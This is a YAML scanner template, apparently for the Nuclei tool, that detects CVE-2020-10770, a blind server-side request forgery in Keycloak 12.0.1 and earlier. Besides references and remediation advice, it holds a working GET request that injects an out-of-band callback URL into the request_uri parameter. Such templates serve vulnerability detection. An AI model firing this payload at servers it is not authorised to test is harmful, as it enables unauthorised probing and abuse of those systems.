39 lines
1.7 KiB
YAML
39 lines
1.7 KiB
YAML
id: CVE-2020-10770
|
|
|
|
info:
|
|
name: Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
|
|
author: dhiyaneshDk
|
|
severity: medium
|
|
description: Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
|
|
remediation: |
|
|
Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
|
|
- https://www.exploit-db.com/exploits/50405
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-10770
|
|
- https://bugzilla.redhat.com/show_bug.cgi?id=1846270
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2020-10770
|
|
cwe-id: CWE-918
|
|
epss-score: 0.43882
|
|
epss-percentile: 0.96954
|
|
cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: redhat
|
|
product: keycloak
|
|
tags: keycloak,ssrf,oast,cve,cve2020,blind,packetstorm,edb
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
# digest: 4a0a00473045022038498eb3579d3869ad334fab9e986e473d2280e52b0b8e61dc3e97857bfa7f0b022100d01159bd75e6379e9218c7cdbb08bd035a661ee17c547a7139ed35bc1f1f8d97:922c64590222798bb761d5b6d8e72950 |